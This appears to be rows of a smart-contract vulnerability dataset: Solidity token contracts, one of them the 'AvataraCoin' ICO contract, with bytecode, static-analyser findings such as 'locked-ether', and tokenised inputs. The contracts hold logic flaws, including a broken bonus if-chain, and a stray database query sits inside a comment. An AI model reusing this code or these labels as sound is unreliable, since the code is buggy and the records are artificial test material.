safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461017057806318160ddd146101d557806323b872dd14610200578063313ce567146102855780633eaaf86b146102b657806370a08231146102e157806395d89b4114610338578063a293d1e8146103c8578063a9059cbb14610413578063b5931f7c14610478578063cae9ca51146104c3578063d05c78da1461056e578063dd62ed3e146105b9578063e6cb901314610630575b600080fd5b3480156100ec57600080fd5b506100f561067b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013557808201518184015260208101905061011a565b50505050905090810190601f1680156101625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017c57600080fd5b506101bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610719565b604051808215151515815260200191505060405180910390f35b3480156101e157600080fd5b506101ea61080b565b6040518082815260200191505060405180910390f35b34801561020c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610856565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b5061029a610ae6565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102c257600080fd5b506102cb610af9565b6040518082815260200191505060405180910390f35b3480156102ed57600080fd5b50610322600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aff565b6040518082815260200191505060405180910390f35b34801561034457600080fd5b5061034d610b48565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561038d578082015181840152602081019050610372565b50505050905090810190601f1680156103ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103d457600080fd5b506103fd6004803603810190808035906020019092919080359060200190929190505050610be6565b6040518082815260200191505060405180910390f35b34801561041f57600080fd5b5061045e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c02565b604051808215151515815260200191505060405180910390f35b34801561048457600080fd5b506104ad6004803603810190808035906020019092919080359060200190929190505050610d8b565b6040518082815260200191505060405180910390f35b3480156104cf57600080fd5b50610554600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610daf565b604051808215151515815260200191505060405180910390f35b34801561057a57600080fd5b506105a36004803603810190808035906020019092919080359060200190929190505050610ffe565b6040518082815260200191505060405180910390f35b3480156105c557600080fd5b5061061a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061102f565b6040518082815260200191505060405180910390f35b34801561063c57600080fd5b5061066560048036038101908080359060200190929190803590602001909291905050506110b6565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107115780601f106106e657610100808354040283529160200191610711565b820191906000526020600020905b8154815290600101906020018083116106f457829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006108a1600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610be6565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061096a600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610be6565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a33600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836110b6565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bde5780601f10610bb357610100808354040283529160200191610bde565b820191906000526020600020905b815481529060010190602001808311610bc157829003601f168201915b505050505081565b6000828211151515610bf757600080fd5b818303905092915050565b6000610c4d600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610be6565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cd9600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836110b6565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610d9b57600080fd5b8183811515610da657fe5b04905092915050565b600082600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610f8c578082015181840152602081019050610f71565b50505050905090810190601f168015610fb95780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610fdb57600080fd5b505af1158015610fef573d6000803e3d6000fd5b50505050600190509392505050565b60008183029050600083148061101e575081838281151561101b57fe5b04145b151561102957600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156110cc57600080fd5b929150505600a165627a7a72305820e0136ee3ec775804ae5c04027decb1cfd29085c07c1c9935474f1697924b22580029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 26187, 22022, 2497, 2581, 2050, 2509, 2063, 27009, 2278, 2509, 2063, 2549, 2050, 27009, 22203, 28311, 2278, 2581, 27421, 2050, 2683, 19961, 2475, 2050, 2629, 2063, 2487, 2278, 28756, 2581, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 7099, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,172
0x9653b504a33fe5d2434af7ccacfcd4304862b23a
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused.db.getCollection('transactions').find({}) */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract MintableToken is StandardToken, Ownable, Pausable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; uint256 public constant maxTokensToMint = 7320000000 ether; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) whenNotPaused onlyOwner returns (bool) { return mintInternal(_to, _amount); } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() whenNotPaused onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } function mintInternal(address _to, uint256 _amount) internal canMint returns (bool) { require(totalSupply.add(_amount) <= maxTokensToMint); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(this, _to, _amount); return true; } } contract Avatar is MintableToken { string public constant name = "AvataraCoin"; string public constant symbol = "VTR"; bool public transferEnabled = false; uint8 public constant decimals = 18; uint256 public rate = 100000; uint256 public constant hardCap = 30000 ether; uint256 public weiFounded = 0; address public approvedUser = 0x48BAa849622fb4481c0C4D9E7a68bcE6b63b0213; address public wallet = 0x231FA84139d9956Cc8135303701d738213D8D916; uint64 public dateStart = 1520348400; bool public icoFinished = false; uint256 public constant maxTokenToBuy = 4392000000 ether; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 amount); /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) whenNotPaused canTransfer returns (bool) { require(_to != address(this) && _to != address(0)); return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) whenNotPaused canTransfer returns (bool) { require(_to != address(this) && _to != address(0)); return super.transferFrom(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) whenNotPaused returns (bool) { return super.approve(_spender, _value); } /** * @dev Modifier to make a function callable only when the transfer is enabled. */ modifier canTransfer() { require(transferEnabled); _; } modifier onlyOwnerOrApproved() { require(msg.sender == owner || msg.sender == approvedUser); _; } /** * @dev Function to stop transfering tokens. * @return True if the operation was successful. */ function enableTransfer() onlyOwner returns (bool) { transferEnabled = true; return true; } function finishIco() onlyOwner returns (bool) { icoFinished = true; return true; } modifier canBuyTokens() { require(!icoFinished && weiFounded <= hardCap); _; } function setApprovedUser(address _user) onlyOwner returns (bool) { require(_user != address(0)); approvedUser = _user; return true; } function changeRate(uint256 _rate) onlyOwnerOrApproved returns (bool) { require(_rate > 0); rate = _rate; return true; } function () payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) canBuyTokens whenNotPaused payable { require(beneficiary != 0x0); require(msg.value >= 100 finney); uint256 weiAmount = msg.value; uint256 bonus = 0; uint256 totalWei = weiAmount.add(weiFounded); if (weiAmount >= 30 ether){ bonus = 75; }else if (weiAmount >= 15 ether){ bonus = 70; }if (weiAmount >= 6 ether){ bonus = 60; }else if (weiAmount >= 3 ether){ bonus = 51; }else if (weiAmount >= 1500 finney){ bonus = 45; }else if (weiAmount >= 1 ether){ bonus = 42; }else if (weiAmount >= 500 finney){ bonus = 30; }else if (weiAmount >= 300 finney){ bonus = 20; }else if(weiAmount >= 100 finney){ bonus = 5; } uint256 tokens = weiAmount.mul(rate); if(bonus > 0){ tokens += tokens.mul(bonus).div(100); } require(totalSupply.add(tokens) <= maxTokenToBuy); mintInternal(beneficiary, tokens); weiFounded = totalWei; TokenPurchase(msg.sender, beneficiary, tokens); forwardFunds(); } // send ether to the fund collection wallet function forwardFunds() internal { wallet.transfer(msg.value); } function changeWallet(address _newWallet) onlyOwner returns (bool) { require(_newWallet != 0x0); wallet = _newWallet; return true; } }
0x6080604052600436106101875763ffffffff60e060020a60003504166305d2035b811461019257806306fdde03146101bb578063095ea7b31461024557806318160ddd1461026957806323b872dd146102905780632c4e722e146102ba578063313ce567146102cf578063329d5f0f146102fa57806334ebb6151461031b578063356e29271461033057806337bdc146146103455780633f4ba83a1461035a57806340c10f191461036f5780634cd412d514610393578063521eb273146103a85780635c975abb146103d957806370a08231146103ee57806374e7493b1461040f5780637d64bcb4146104275780638456cb591461043c5780638da5cb5b1461045157806395d89b411461046657806398b9a2dc1461047b578063a3b6120c1461049c578063a9059cbb146104ce578063b9dc25c5146104f2578063dd62ed3e14610507578063ec42f82f1461052e578063ec8ac4d814610543578063f1b50c1d14610557578063f2fde38b1461056c578063f669052a1461058d578063fb86a404146105a2575b610190336105b7565b005b34801561019e57600080fd5b506101a76107ed565b604080519115158252519081900360200190f35b3480156101c757600080fd5b506101d061080f565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561020a5781810151838201526020016101f2565b50505050905090810190601f1680156102375780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561025157600080fd5b506101a7600160a060020a0360043516602435610846565b34801561027557600080fd5b5061027e610871565b60408051918252519081900360200190f35b34801561029c57600080fd5b506101a7600160a060020a0360043581169060243516604435610877565b3480156102c657600080fd5b5061027e6108e8565b3480156102db57600080fd5b506102e46108ee565b6040805160ff9092168252519081900360200190f35b34801561030657600080fd5b506101a7600160a060020a03600435166108f3565b34801561032757600080fd5b5061027e610954565b34801561033c57600080fd5b506101a7610964565b34801561035157600080fd5b5061027e610974565b34801561036657600080fd5b5061019061097a565b34801561037b57600080fd5b506101a7600160a060020a03600435166024356109f2565b34801561039f57600080fd5b506101a7610a2d565b3480156103b457600080fd5b506103bd610a3d565b60408051600160a060020a039092168252519081900360200190f35b3480156103e557600080fd5b506101a7610a4c565b3480156103fa57600080fd5b5061027e600160a060020a0360043516610a5c565b34801561041b57600080fd5b506101a7600435610a77565b34801561043357600080fd5b506101a7610abe565b34801561044857600080fd5b50610190610b55565b34801561045d57600080fd5b506103bd610bd2565b34801561047257600080fd5b506101d0610be1565b34801561048757600080fd5b506101a7600160a060020a0360043516610c18565b3480156104a857600080fd5b506104b1610c79565b6040805167ffffffffffffffff9092168252519081900360200190f35b3480156104da57600080fd5b506101a7600160a060020a0360043516602435610c90565b3480156104fe57600080fd5b506103bd610cf8565b34801561051357600080fd5b5061027e600160a060020a0360043581169060243516610d07565b34801561053a57600080fd5b506101a7610d32565b610190600160a060020a03600435166105b7565b34801561056357600080fd5b506101a7610d80565b34801561057857600080fd5b50610190600160a060020a0360043516610dc6565b34801561059957600080fd5b5061027e610e21565b3480156105ae57600080fd5b5061027e610e31565b6000806000806007601c9054906101000a900460ff161580156105e6575069065a4da25d3016c0000060055411155b15156105f157600080fd5b60035460a060020a900460ff161561060857600080fd5b600160a060020a038516151561061d57600080fd5b67016345785d8a000034101561063257600080fd5b6005543494506000935061064d90859063ffffffff610e3f16565b91506801a055690d9db80000841061066857604b925061067c565b67d02ab486cedc0000841061067c57604692505b6753444835ec580000841061069457603c9250610720565b6729a2241af62c000084106106ac5760339250610720565b6714d1120d7b16000084106106c457602d9250610720565b670de0b6b3a764000084106106dc57602a9250610720565b6706f05b59d3b2000084106106f457601e9250610720565b670429d069189e0000841061070c5760149250610720565b67016345785d8a0000841061072057600592505b60045461073490859063ffffffff610e4e16565b90506000831115610762576107606064610754838663ffffffff610e4e16565b9063ffffffff610e7216565b015b6000546b0e30fa2d13ebccd22800000090610783908363ffffffff610e3f16565b111561078e57600080fd5b6107988582610e89565b506005829055604080518281529051600160a060020a0387169133917fbc9b717e64d37facf9bd4eaf188a144bd2c53b675ca7ec8b445af85586d3e3829181900360200190a36107e6610fba565b5050505050565b6003547501000000000000000000000000000000000000000000900460ff1681565b60408051808201909152600b81527f41766174617261436f696e000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff161561086057600080fd5b61086a8383610ff6565b9392505050565b60005481565b60035460009060a060020a900460ff161561089157600080fd5b60035460b060020a900460ff1615156108a957600080fd5b600160a060020a03831630148015906108ca5750600160a060020a03831615155b15156108d557600080fd5b6108e0848484611098565b949350505050565b60045481565b601281565b600354600090600160a060020a0316331461090d57600080fd5b600160a060020a038216151561092257600080fd5b5060068054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b6b0e30fa2d13ebccd22800000081565b60075460e060020a900460ff1681565b60055481565b600354600160a060020a0316331461099157600080fd5b60035460a060020a900460ff1615156109a957600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60035460009060a060020a900460ff1615610a0c57600080fd5b600354600160a060020a03163314610a2357600080fd5b61086a8383610e89565b60035460b060020a900460ff1681565b600754600160a060020a031681565b60035460a060020a900460ff1681565b600160a060020a031660009081526001602052604090205490565b600354600090600160a060020a0316331480610a9d5750600654600160a060020a031633145b1515610aa857600080fd5b60008211610ab557600080fd5b50600455600190565b60035460009060a060020a900460ff1615610ad857600080fd5b600354600160a060020a03163314610aef57600080fd5b6003805475ff000000000000000000000000000000000000000000191675010000000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a03163314610b6c57600080fd5b60035460a060020a900460ff1615610b8357600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600381527f5654520000000000000000000000000000000000000000000000000000000000602082015281565b600354600090600160a060020a03163314610c3257600080fd5b600160a060020a0382161515610c4757600080fd5b5060078054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b60075460a060020a900467ffffffffffffffff1681565b60035460009060a060020a900460ff1615610caa57600080fd5b60035460b060020a900460ff161515610cc257600080fd5b600160a060020a0383163014801590610ce35750600160a060020a03831615155b1515610cee57600080fd5b61086a83836111a7565b600654600160a060020a031681565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600090600160a060020a03163314610d4c57600080fd5b50600780547fffffff00ffffffffffffffffffffffffffffffffffffffffffffffffffffffff1660e060020a179055600190565b600354600090600160a060020a03163314610d9a57600080fd5b506003805476ff00000000000000000000000000000000000000000000191660b060020a179055600190565b600354600160a060020a03163314610ddd57600080fd5b600160a060020a0381161515610df257600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6b17a6f64b2133aab39800000081565b69065a4da25d3016c0000081565b60008282018381101561086a57fe5b6000828202831580610e6a5750828482811515610e6757fe5b04145b151561086a57fe5b6000808284811515610e8057fe5b04949350505050565b6003546000907501000000000000000000000000000000000000000000900460ff1615610eb557600080fd5b6000546b17a6f64b2133aab39800000090610ed6908463ffffffff610e3f16565b1115610ee157600080fd5b600054610ef4908363ffffffff610e3f16565b6000908155600160a060020a038416815260016020526040902054610f1f908363ffffffff610e3f16565b600160a060020a038416600081815260016020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a0385169130917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b600754604051600160a060020a03909116903480156108fc02916000818181858888f19350505050158015610ff3573d6000803e3d6000fd5b50565b60008115806110265750336000908152600260209081526040808320600160a060020a0387168452909152902054155b151561103157600080fd5b336000818152600260209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b600160a060020a038084166000908152600260209081526040808320338452825280832054938616835260019091528120549091906110dd908463ffffffff610e3f16565b600160a060020a038086166000908152600160205260408082209390935590871681522054611112908463ffffffff61125716565b600160a060020a03861660009081526001602052604090205561113b818463ffffffff61125716565b600160a060020a03808716600081815260026020908152604080832033845282529182902094909455805187815290519288169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001949350505050565b336000908152600160205260408120546111c7908363ffffffff61125716565b3360009081526001602052604080822092909255600160a060020a038516815220546111f9908363ffffffff610e3f16565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b60008282111561126357fe5b509003905600a165627a7a723058209f6d8e7efc3292ce162e8474b155f8f3742b94fd46e9025b7a59c961a0ad4e920029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 26187, 2509, 2497, 12376, 2549, 2050, 22394, 7959, 2629, 2094, 18827, 22022, 10354, 2581, 16665, 2278, 11329, 2094, 23777, 2692, 18139, 2575, 2475, 2497, 21926, 2050, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2603, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,173
0x9653E1Cc7Dd250BAb6191C663D95A810f7756500
